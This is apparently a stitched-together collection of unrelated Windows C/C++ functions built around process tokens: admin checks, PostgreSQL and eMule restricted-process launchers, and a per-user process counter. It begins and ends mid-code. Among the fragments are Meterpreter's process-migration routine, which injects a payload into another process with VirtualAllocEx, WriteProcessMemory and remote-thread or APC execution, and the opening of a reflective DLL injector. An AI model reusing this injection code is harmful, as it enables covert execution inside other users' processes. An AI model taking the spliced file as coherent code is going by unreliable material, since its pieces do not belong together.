psdAdmin = LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH); if (psdAdmin == NULL) __leave; if (!InitializeSecurityDescriptor(psdAdmin, SECURITY_DESCRIPTOR_REVISION)) __leave; // Compute size needed for the ACL. dwACLSize = sizeof(ACL) + sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psidAdmin) - sizeof(DWORD); pACL = (PACL)LocalAlloc(LPTR, dwACLSize); if (pACL == NULL) __leave; if (!InitializeAcl(pACL, dwACLSize, ACL_REVISION2)) __leave; dwAccessMask= ACCESS_READ | ACCESS_WRITE; if (!AddAccessAllowedAce(pACL, ACL_REVISION2, dwAccessMask, psidAdmin)) __leave; if (!SetSecurityDescriptorDacl(psdAdmin, TRUE, pACL, FALSE)) __leave; /* AccessCheck validates a security descriptor somewhat; set the group and owner so that enough of the security descriptor is filled out to make AccessCheck happy. */ SetSecurityDescriptorGroup(psdAdmin, psidAdmin, FALSE); SetSecurityDescriptorOwner(psdAdmin, psidAdmin, FALSE); if (!IsValidSecurityDescriptor(psdAdmin)) __leave; dwAccessDesired = ACCESS_READ; /* Initialize GenericMapping structure even though you do not use generic rights. */ GenericMapping.GenericRead = ACCESS_READ; GenericMapping.GenericWrite = ACCESS_WRITE; GenericMapping.GenericExecute = 0; GenericMapping.GenericAll = ACCESS_READ | ACCESS_WRITE; if (!AccessCheck(psdAdmin, hImpersonationToken, dwAccessDesired, &GenericMapping, &ps, &dwStructureSize, &dwStatus, &fReturn)) { fReturn = FALSE; __leave; } } __finally { // Clean up. if (pACL) LocalFree(pACL); if (hImpersonationToken) CloseHandle (hImpersonationToken); if (hToken) CloseHandle (hToken); if (psdAdmin) LocalFree(psdAdmin); if (psidAdmin) FreeSid(psidAdmin); } return fReturn; }
/************************************************************************** * IsUserAdmin [SETUPAPI.@] * * Checks whether the current user is a member of the Administrators group. * * PARAMS * None * * RETURNS * Success: TRUE * Failure: FALSE */ BOOL WINAPI IsUserAdmin(VOID) { SID_IDENTIFIER_AUTHORITY Authority = {SECURITY_NT_AUTHORITY}; HANDLE hToken; DWORD dwSize; PTOKEN_GROUPS lpGroups; PSID lpSid; DWORD i; BOOL bResult = FALSE; TRACE("\n"); if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { return FALSE; } if (!GetTokenInformation(hToken, TokenGroups, NULL, 0, &dwSize)) { if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) { CloseHandle(hToken); return FALSE; } } lpGroups = MyMalloc(dwSize); if (lpGroups == NULL) { CloseHandle(hToken); return FALSE; } if (!GetTokenInformation(hToken, TokenGroups, lpGroups, dwSize, &dwSize)) { MyFree(lpGroups); CloseHandle(hToken); return FALSE; } CloseHandle(hToken); if (!AllocateAndInitializeSid(&Authority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &lpSid)) { MyFree(lpGroups); return FALSE; } for (i = 0; i < lpGroups->GroupCount; i++) { if (EqualSid(lpSid, lpGroups->Groups[i].Sid)) { bResult = TRUE; break; } } FreeSid(lpSid); MyFree(lpGroups); return bResult; }
/*! * @brief Migrate the meterpreter server from the current process into another process. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the request packet. * @param pResult Pointer to the memory that will receive the result. * @returns Indication of whether the server should continue processing or not. */ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult) { DWORD dwResult = ERROR_SUCCESS; Packet * response = NULL; HANDLE hToken = NULL; HANDLE hProcess = NULL; HANDLE hEvent = NULL; BYTE * lpPayloadBuffer = NULL; LPVOID lpMigrateStub = NULL; LPBYTE lpMemory = NULL; LPBYTE lpUuid = NULL; LPCOMMONMIGRATECONTEXT ctx = NULL; DWORD ctxSize = 0; DWORD dwMigrateStubLength = 0; DWORD dwPayloadLength = 0; DWORD dwProcessID = 0; DWORD dwDestinationArch = 0; MetsrvConfig* config = NULL; DWORD configSize = 0; do { response = packet_create_response(packet); if (!response) { dwResult = ERROR_NOT_ENOUGH_MEMORY; break; } // Get the process identifier to inject into dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID); // Get the target process architecture to inject into dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH); // Get the length of the payload buffer dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN); // Receive the actual migration payload buffer lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); // Get handles to the updated UUIDs if they're there lpUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID); // Get the migrate stub information dwMigrateStubLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_STUB_LEN); lpMigrateStub = packet_get_tlv_value_raw(packet, TLV_TYPE_MIGRATE_STUB); dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength); // If we can, get SeDebugPrivilege... if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { TOKEN_PRIVILEGES priv = { 0 }; priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) { if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)); { dprintf("[MIGRATE] Got SeDebugPrivilege!"); } } CloseHandle(hToken); } // Open the process so that we can migrate into it hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID); if (!hProcess) { BREAK_ON_ERROR("[MIGRATE] OpenProcess failed") } // get the existing configuration dprintf("[MIGRATE] creating the configuration block"); remote->config_create(remote, lpUuid, &config, &configSize); dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config); if (remote->transport->get_migrate_context != NULL) { dwResult = remote->transport->get_migrate_context(remote->transport, dwProcessID, hProcess, &ctxSize, (LPBYTE*)&ctx); } else { dwResult = get_migrate_context(&ctxSize, &ctx); } if (dwResult != ERROR_SUCCESS) { dprintf("[MIGRATE] Failed to create migrate context: %u", dwResult); break; } // Create a notification event that we'll use to know when it's safe to exit // (once the socket has been referenced in the other process) hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (!hEvent) { BREAK_ON_ERROR("[MIGRATE] CreateEvent failed"); } // Duplicate the event handle for the target process if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx->e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) { BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed"); } dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent); // Allocate memory for the migrate stub, context, payload and configuration block lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!lpMemory) { BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed"); } // Calculate the address of the payload... ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize; // Write the migrate stub to memory... dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength); if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed"); } // Write the migrate context to memory... dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, ctxSize); if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, ctx, ctxSize, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed"); } // Write the migrate payload to memory... dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx->p.lpPayload, dwPayloadLength); if (!WriteProcessMemory(hProcess, ctx->p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed"); } // finally write the configuration stub dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx->p.lpPayload + dwPayloadLength, configSize); if (!WriteProcessMemory(hProcess, ctx->p.lpPayload + dwPayloadLength, config, configSize, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed"); } free(ctx); // First we try to migrate by directly creating a remote thread in the target process if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread..."); // If that fails we can try to migrate via a queued APC in the target process if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed"); } } dwResult = ERROR_SUCCESS; } while (0); SAFE_FREE(config); // If we failed and have not sent the response, do so now if (dwResult != ERROR_SUCCESS && response) { dprintf("[MIGRATE] Sending response"); packet_transmit_response(dwResult, remote, response); } // Cleanup... if (hProcess) { dprintf("[MIGRATE] Closing the process handle 0x%08x", hProcess); CloseHandle(hProcess); } if (hEvent) { dprintf("[MIGRATE] Closing the event handle 0x%08x", hEvent); CloseHandle(hEvent); } if (pResult) { *pResult = dwResult; } // if migration succeeded, return 'FALSE' to indicate server thread termination. dprintf("[MIGRATE] Finishing migration, result: %u", dwResult); return ERROR_SUCCESS == dwResult ? FALSE : TRUE; }
/************************************************************************** * TakeOwnershipOfFile [SETUPAPI.@] * * Takes the ownership of the given file. * * PARAMS * lpFileName [I] Name of the file * * RETURNS * Success: ERROR_SUCCESS * Failure: other */ DWORD WINAPI TakeOwnershipOfFile(LPCWSTR lpFileName) { SECURITY_DESCRIPTOR SecDesc; HANDLE hToken = 0; PTOKEN_OWNER pOwner = NULL; DWORD dwError; DWORD dwSize; TRACE("%s\n", debugstr_w(lpFileName)); if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) return GetLastError(); if (!GetTokenInformation(hToken, TokenOwner, NULL, 0, &dwSize)) { goto fail; } pOwner = (PTOKEN_OWNER)MyMalloc(dwSize); if (pOwner == NULL) { CloseHandle(hToken); return ERROR_NOT_ENOUGH_MEMORY; } if (!GetTokenInformation(hToken, TokenOwner, pOwner, dwSize, &dwSize)) { goto fail; } if (!InitializeSecurityDescriptor(&SecDesc, SECURITY_DESCRIPTOR_REVISION)) { goto fail; } if (!SetSecurityDescriptorOwner(&SecDesc, pOwner->Owner, FALSE)) { goto fail; } if (!SetFileSecurityW(lpFileName, OWNER_SECURITY_INFORMATION, &SecDesc)) { goto fail; } MyFree(pOwner); CloseHandle(hToken); return ERROR_SUCCESS; fail: ; dwError = GetLastError(); if (pOwner != NULL) MyFree(pOwner); if (hToken) CloseHandle(hToken); return dwError; }
static int CreateRestrictedProcess(char *command, PROCESS_INFORMATION *processInfo, bool as_service) { int r; BOOL b; STARTUPINFOA si; HANDLE origToken; HANDLE restrictedToken; SID_IDENTIFIER_AUTHORITY NtAuthority = {SECURITY_NT_AUTHORITY}; SID_AND_ATTRIBUTES dropSids[2]; /* Functions loaded dynamically */ __CreateRestrictedToken _CreateRestrictedToken = NULL; __IsProcessInJob _IsProcessInJob = NULL; __CreateJobObjectA _CreateJobObject = NULL; __SetInformationJobObject _SetInformationJobObject = NULL; __AssignProcessToJobObject _AssignProcessToJobObject = NULL; __QueryInformationJobObject _QueryInformationJobObject = NULL; HANDLE Kernel32Handle; HANDLE Advapi32Handle; SECURITY_ATTRIBUTES sa = {0}; HANDLE hRead, hWrite; /* create unnamed pipes */ sa.lpSecurityDescriptor = NULL; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = TRUE; if (!CreatePipe(&hRead, &hWrite, &sa, 0)) elog(ERROR, "cannot create pipes"); DuplicateHandle(GetCurrentProcess(), hWrite, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_SAME_ACCESS); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = hRead; si.hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE); si.hStdError = GetStdHandle(STD_ERROR_HANDLE); Advapi32Handle = LoadLibraryA("ADVAPI32.DLL"); if (Advapi32Handle != NULL) { _CreateRestrictedToken = (__CreateRestrictedToken) GetProcAddress(Advapi32Handle, "CreateRestrictedToken"); } if (_CreateRestrictedToken == NULL) { /* * NT4 doesn't have CreateRestrictedToken, so just call ordinary * CreateProcess */ if (Advapi32Handle != NULL) FreeLibrary(Advapi32Handle); b = CreateProcessA(NULL, command, NULL, NULL, FALSE, 0, NULL, NULL, &si, processInfo); goto done; } /* Open the current token to use as a base for the restricted one */ if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &origToken)) { elog(WARNING, "could not open process token: %lu", GetLastError()); return -1; } /* Allocate list of SIDs to remove */ ZeroMemory(&dropSids, sizeof(dropSids)); if (!AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &dropSids[0].Sid) || !AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_POWER_USERS, 0, 0, 0, 0, 0, 0, &dropSids[1].Sid)) { elog(WARNING, "could not allocate SIDs: %lu", GetLastError()); return -1; } b = _CreateRestrictedToken(origToken, DISABLE_MAX_PRIVILEGE, sizeof(dropSids) / sizeof(dropSids[0]), dropSids, 0, NULL, 0, NULL, &restrictedToken); FreeSid(dropSids[1].Sid); FreeSid(dropSids[0].Sid); CloseHandle(origToken); FreeLibrary(Advapi32Handle); if (!b) { elog(WARNING, "could not create restricted token: %lu", GetLastError()); return -1; } #ifndef __CYGWIN__ AddUserToTokenDacl(restrictedToken); #endif r = CreateProcessAsUserA(restrictedToken, NULL, command, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &si, processInfo); Kernel32Handle = LoadLibraryA("KERNEL32.DLL"); if (Kernel32Handle != NULL) { _IsProcessInJob = (__IsProcessInJob) GetProcAddress(Kernel32Handle, "IsProcessInJob"); _CreateJobObject = (__CreateJobObjectA) GetProcAddress(Kernel32Handle, "CreateJobObjectA"); _SetInformationJobObject = (__SetInformationJobObject) GetProcAddress(Kernel32Handle, "SetInformationJobObject"); _AssignProcessToJobObject = (__AssignProcessToJobObject) GetProcAddress(Kernel32Handle, "AssignProcessToJobObject"); _QueryInformationJobObject = (__QueryInformationJobObject) GetProcAddress(Kernel32Handle, "QueryInformationJobObject"); } /* Verify that we found all functions */ if (_IsProcessInJob == NULL || _CreateJobObject == NULL || _SetInformationJobObject == NULL || _AssignProcessToJobObject == NULL || _QueryInformationJobObject == NULL) { /* * IsProcessInJob() is not available on < WinXP, so there is no need * to log the error every time in that case */ OSVERSIONINFO osv; osv.dwOSVersionInfoSize = sizeof(osv); if (!GetVersionEx(&osv) || /* could not get version */ (osv.dwMajorVersion == 5 && osv.dwMinorVersion > 0) || /* 5.1=xp, 5.2=2003, etc */ osv.dwMajorVersion > 5) /* anything newer should have the API */ /* * Log error if we can't get version, or if we're on WinXP/2003 or * newer */ elog(WARNING, "could not locate all job object functions in system API"); } else { BOOL inJob; if (_IsProcessInJob(processInfo->hProcess, NULL, &inJob)) { if (!inJob) { /* * Job objects are working, and the new process isn't in one, * so we can create one safely. If any problems show up when * setting it, we're going to ignore them. */ HANDLE job; char jobname[128]; sprintf(jobname, "PostgreSQL_%lu", processInfo->dwProcessId); job = _CreateJobObject(NULL, jobname); if (job) { JOBOBJECT_BASIC_LIMIT_INFORMATION basicLimit; JOBOBJECT_BASIC_UI_RESTRICTIONS uiRestrictions; JOBOBJECT_SECURITY_LIMIT_INFORMATION securityLimit; OSVERSIONINFO osv; ZeroMemory(&basicLimit, sizeof(basicLimit)); ZeroMemory(&uiRestrictions, sizeof(uiRestrictions)); ZeroMemory(&securityLimit, sizeof(securityLimit)); basicLimit.LimitFlags = JOB_OBJECT_LIMIT_DIE_ON_UNHANDLED_EXCEPTION | JOB_OBJECT_LIMIT_PRIORITY_CLASS; basicLimit.PriorityClass = NORMAL_PRIORITY_CLASS; _SetInformationJobObject(job, JobObjectBasicLimitInformation, &basicLimit, sizeof(basicLimit)); uiRestrictions.UIRestrictionsClass = JOB_OBJECT_UILIMIT_DESKTOP | JOB_OBJECT_UILIMIT_DISPLAYSETTINGS | JOB_OBJECT_UILIMIT_EXITWINDOWS | JOB_OBJECT_UILIMIT_READCLIPBOARD | JOB_OBJECT_UILIMIT_SYSTEMPARAMETERS | JOB_OBJECT_UILIMIT_WRITECLIPBOARD; if (as_service) { osv.dwOSVersionInfoSize = sizeof(osv); if (!GetVersionEx(&osv) || osv.dwMajorVersion < 6 || (osv.dwMajorVersion == 6 && osv.dwMinorVersion == 0)) { /* * On Windows 7 (and presumably later), * JOB_OBJECT_UILIMIT_HANDLES prevents us from * starting as a service. So we only enable it on * Vista and earlier (version <= 6.0) */ uiRestrictions.UIRestrictionsClass |= JOB_OBJECT_UILIMIT_HANDLES; } } _SetInformationJobObject(job, JobObjectBasicUIRestrictions, &uiRestrictions, sizeof(uiRestrictions)); securityLimit.SecurityLimitFlags = JOB_OBJECT_SECURITY_NO_ADMIN | JOB_OBJECT_SECURITY_ONLY_TOKEN; securityLimit.JobToken = restrictedToken; _SetInformationJobObject(job, JobObjectSecurityLimitInformation, &securityLimit, sizeof(securityLimit)); _AssignProcessToJobObject(job, processInfo->hProcess); } } } } CloseHandle(restrictedToken); ResumeThread(processInfo->hThread); FreeLibrary(Kernel32Handle); done: /* * We intentionally don't close the job object handle, because we want the * object to live on until this program shuts down. */ if (r) { int fd; CloseHandle(hRead); if ((fd = _open_osfhandle((intptr_t) hWrite, O_WRONLY | O_TEXT)) != -1) return fd; else CloseHandle(hWrite); } else { CloseHandle(hRead); CloseHandle(hWrite); } return -1; }
//Code taken from http://stackoverflow.com/questions/1453497/discover-if-user-has-admin-rights Have not checked if it is valid yet.... TODO!!! bool RemoteDesktop::IsUserAdmin(){ struct Data { PACL pACL; PSID psidAdmin; HANDLE hToken; HANDLE hImpersonationToken; PSECURITY_DESCRIPTOR psdAdmin; Data() : pACL(NULL), psidAdmin(NULL), hToken(NULL), hImpersonationToken(NULL), psdAdmin(NULL) {} ~Data() { if (pACL) LocalFree(pACL); if (psdAdmin) LocalFree(psdAdmin); if (psidAdmin) FreeSid(psidAdmin); if (hImpersonationToken) CloseHandle(hImpersonationToken); if (hToken) CloseHandle(hToken); } } data; BOOL fReturn = FALSE; DWORD dwStructureSize = sizeof(PRIVILEGE_SET); PRIVILEGE_SET ps; GENERIC_MAPPING GenericMapping; SID_IDENTIFIER_AUTHORITY SystemSidAuthority = SECURITY_NT_AUTHORITY; const DWORD ACCESS_READ = 1; const DWORD ACCESS_WRITE = 2; if (!OpenThreadToken(GetCurrentThread(), TOKEN_DUPLICATE | TOKEN_QUERY, TRUE, &data.hToken)) { if (GetLastError() != ERROR_NO_TOKEN) return false; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &data.hToken)) return false; } if (!DuplicateToken(data.hToken, SecurityImpersonation, &data.hImpersonationToken)) return false; if (!AllocateAndInitializeSid(&SystemSidAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &data.psidAdmin)) return false; data.psdAdmin = LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH); if (data.psdAdmin == NULL) return false; if (!InitializeSecurityDescriptor(data.psdAdmin, SECURITY_DESCRIPTOR_REVISION)) return false; // Compute size needed for the ACL. auto dwACLSize = sizeof(ACL) + sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(data.psidAdmin) - sizeof(DWORD); data.pACL = (PACL)LocalAlloc(LPTR, dwACLSize); if (data.pACL == NULL) return false; if (!InitializeAcl(data.pACL, dwACLSize, ACL_REVISION2)) return false; DWORD dwAccessMask = ACCESS_READ | ACCESS_WRITE; if (!AddAccessAllowedAce(data.pACL, ACL_REVISION2, dwAccessMask, data.psidAdmin)) return false; if (!SetSecurityDescriptorDacl(data.psdAdmin, TRUE, data.pACL, FALSE)) return false; // AccessCheck validates a security descriptor somewhat; set the group // and owner so that enough of the security descriptor is filled out // to make AccessCheck happy. SetSecurityDescriptorGroup(data.psdAdmin, data.psidAdmin, FALSE); SetSecurityDescriptorOwner(data.psdAdmin, data.psidAdmin, FALSE); if (!IsValidSecurityDescriptor(data.psdAdmin)) return false; DWORD dwAccessDesired = ACCESS_READ; GenericMapping.GenericRead = ACCESS_READ; GenericMapping.GenericWrite = ACCESS_WRITE; GenericMapping.GenericExecute = 0; GenericMapping.GenericAll = ACCESS_READ | ACCESS_WRITE; DWORD dwStatus = 0; if (!AccessCheck(data.psdAdmin, data.hImpersonationToken, dwAccessDesired, &GenericMapping, &ps, &dwStructureSize, &dwStatus, &fReturn)) { return false; } return fReturn == TRUE; }
eResult CSecRunAsUser::RestartAsRestricted(){ if (m_bRunningRestricted || m_bRunningAsEmule) return RES_OK; if (!LoadAPI()) return RES_FAILED; HANDLE hProcessToken = NULL; HANDLE hRestrictedToken = NULL; PTOKEN_USER pstructUserToken = NULL; try{ // get our access token from the process if(!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_READ, &hProcessToken)){ throw(CString(_T("Failed to retrieve access token from process"))); } // there is no easy way to check if we have already restircted token when not using the restricted sid list // so just check if we set the SANDBOX_INERT flag and hope noone else did // (which isunlikely tho because afaik you would only set it when using CreateRestirctedToken) :) DWORD dwLen = 0; DWORD dwInertFlag; if (!GetTokenInformation(hProcessToken, TokenSandBoxInert, &dwInertFlag, sizeof(dwInertFlag), &dwLen)){ throw(CString(_T("Failed to Flag-Status from AccessToken"))); } if (dwInertFlag != 0){ m_bRunningRestricted = true; throw(CString(_T("Already using a restricted Token it seems (everything is fine!)"))); } // get the user account SID to disable it in our new token dwLen = 0; while (!GetTokenInformation(hProcessToken, TokenUser, pstructUserToken, dwLen, &dwLen)){ if (GetLastError() == ERROR_INSUFFICIENT_BUFFER && pstructUserToken == NULL){ pstructUserToken = (PTOKEN_USER)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwLen); continue; } throw(CString(_T("Failed to retrieve UserSID from AccessToken"))); } // disabling our primary token would make sense from an Security POV, but this would cause file acces conflicts // in the default settings (since we cannot access files we created ourself if they don't have the write flag for the group "users") // so it stays enabled for now and we only reduce privileges // create the new token if(!CreateRestrictedToken(hProcessToken, DISABLE_MAX_PRIVILEGE | SANDBOX_INERT, 0 /*disabled*/, &pstructUserToken->User, 0, NULL, 0, NULL, &hRestrictedToken ) ){ throw(CString(_T("Failed to create Restricted Token"))); } // do the starting job PROCESS_INFORMATION ProcessInfo = {0}; TCHAR szAppPath[MAX_PATH]; GetModuleFileName(NULL, szAppPath, MAX_PATH); CString strAppName; strAppName.Format(_T("\"%s\""),szAppPath); STARTUPINFO StartInf = {0}; StartInf.cb = sizeof(StartInf); StartInf.dwFlags = STARTF_USESHOWWINDOW; StartInf.wShowWindow = SW_NORMAL; // remove the current mutex, so that the restart emule can create its own without problems // in the rare case CreateProcessWithLogonW fails, this will allow mult. instances, but if that function fails we have other problems anyway //MODIFIED by fengwen on 2007/03/05 <begin> : //::CloseHandle(theApp.m_hMutexOneInstance); if (NULL != theApp.m_pSingleInst) theApp.m_pSingleInst->AppEnd(); //MODIFIED by fengwen on 2007/03/05 <end> : if (NULL != theApp.m_pSingleInst2Loader) theApp.m_pSingleInst2Loader->AppEnd(); if(!CreateProcessAsUser(hRestrictedToken, NULL, strAppName.GetBuffer(), NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &StartInf, &ProcessInfo) ){ CString e; GetErrorMessage(GetLastError(), e, 0); throw(CString(_T("CreateProcessAsUser failed"))); } strAppName.ReleaseBuffer(); CloseHandle(ProcessInfo.hProcess); CloseHandle(ProcessInfo.hThread); // cleanup HeapFree(GetProcessHeap(), 0, (LPVOID)pstructUserToken); pstructUserToken = NULL; CloseHandle(hRestrictedToken); CloseHandle(hProcessToken); } catch(CString strError){ if (hProcessToken != NULL) CloseHandle(hProcessToken); if (hRestrictedToken != NULL) CloseHandle(hRestrictedToken); if (pstructUserToken != NULL) HeapFree(GetProcessHeap(), 0, (LPVOID)pstructUserToken); CGlobalVariable::QueueDebugLogLine(false, _T("SecureShellExecute exception: %s!"), strError); if (m_bRunningRestricted) return RES_OK; else return RES_FAILED; } return RES_OK_NEED_RESTART; }
INT countProcs(CONST std::wstring user) { if (debug) std::wcout << L"Counting all processes of user" << user << '\n'; CONST WCHAR *wuser = user.c_str(); INT numProcs = 0; HANDLE hProcessSnap, hProcess = NULL, hToken = NULL; PROCESSENTRY32 pe32; DWORD dwReturnLength, dwAcctName, dwDomainName; PTOKEN_USER pSIDTokenUser = NULL; SID_NAME_USE sidNameUse; LPWSTR AcctName, DomainName; if (debug) std::wcout << L"Creating snapshot" << '\n'; hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) goto die; pe32.dwSize = sizeof(PROCESSENTRY32); if (debug) std::wcout << L"Grabbing first proccess" << '\n'; if (!Process32First(hProcessSnap, &pe32)) goto die; if (debug) std::wcout << L"Counting processes..." << '\n'; do { if (debug) std::wcout << L"Getting process token" << '\n'; //get ProcessToken hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID); if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) //Won't count pid 0 (system idle) and 4/8 (Sytem) continue; //Get dwReturnLength in first call dwReturnLength = 1; if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &dwReturnLength) && GetLastError() != ERROR_INSUFFICIENT_BUFFER) continue; pSIDTokenUser = reinterpret_cast<PTOKEN_USER>(new BYTE[dwReturnLength]); memset(pSIDTokenUser, 0, dwReturnLength); if (debug) std::wcout << L"Received token, saving information" << '\n'; //write Info in pSIDTokenUser if (!GetTokenInformation(hToken, TokenUser, pSIDTokenUser, dwReturnLength, NULL)) continue; AcctName = NULL; DomainName = NULL; dwAcctName = 1; dwDomainName = 1; if (debug) std::wcout << L"Looking up SID" << '\n'; //get dwAcctName and dwDomainName size if (!LookupAccountSid(NULL, pSIDTokenUser->User.Sid, AcctName, (LPDWORD)&dwAcctName, DomainName, (LPDWORD)&dwDomainName, &sidNameUse) && GetLastError() != ERROR_INSUFFICIENT_BUFFER) continue; AcctName = reinterpret_cast<LPWSTR>(new WCHAR[dwAcctName]); DomainName = reinterpret_cast<LPWSTR>(new WCHAR[dwDomainName]); if (!LookupAccountSid(NULL, pSIDTokenUser->User.Sid, AcctName, (LPDWORD)&dwAcctName, DomainName, (LPDWORD)&dwDomainName, &sidNameUse)) continue; if (debug) std::wcout << L"Comparing " << AcctName << L" to " << wuser << '\n'; if (!wcscmp(AcctName, wuser)) { ++numProcs; if (debug) std::wcout << L"Is process of " << wuser << L" (" << numProcs << L")" << '\n'; } delete[] reinterpret_cast<LPWSTR>(AcctName); delete[] reinterpret_cast<LPWSTR>(DomainName); } while (Process32Next(hProcessSnap, &pe32)); die: if (hProcessSnap) CloseHandle(hProcessSnap); if (hProcess) CloseHandle(hProcess); if (hToken) CloseHandle(hToken); if (pSIDTokenUser) delete[] reinterpret_cast<PTOKEN_USER>(pSIDTokenUser); return numProcs; }
// Simple app to inject a reflective DLL into a process vis its process ID. int main( int argc, char * argv[] ) { HANDLE hFile = NULL; HANDLE hModule = NULL; HANDLE hProcess = NULL; HANDLE hToken = NULL; LPVOID lpBuffer = NULL; DWORD dwLength = 0; DWORD dwBytesRead = 0; DWORD dwProcessId = 0; TOKEN_PRIVILEGES priv = {0}; #ifdef WIN_X64 char * cpDllFile = "reflective_dll.x64.dll"; #else #ifdef WIN_X86 char * cpDllFile = "reflective_dll.dll"; #else WIN_ARM char * cpDllFile = "reflective_dll.arm.dll"; #endif #endif do { // Usage: inject.exe [pid] [dll_file] if( argc == 1 ) dwProcessId = GetCurrentProcessId(); else dwProcessId = atoi( argv[1] ); if( argc >= 3 ) cpDllFile = argv[2]; hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if( hFile == INVALID_HANDLE_VALUE ) BREAK_WITH_ERROR( "Failed to open the DLL file" ); dwLength = GetFileSize( hFile, NULL ); if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); if( !lpBuffer ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) { priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if( 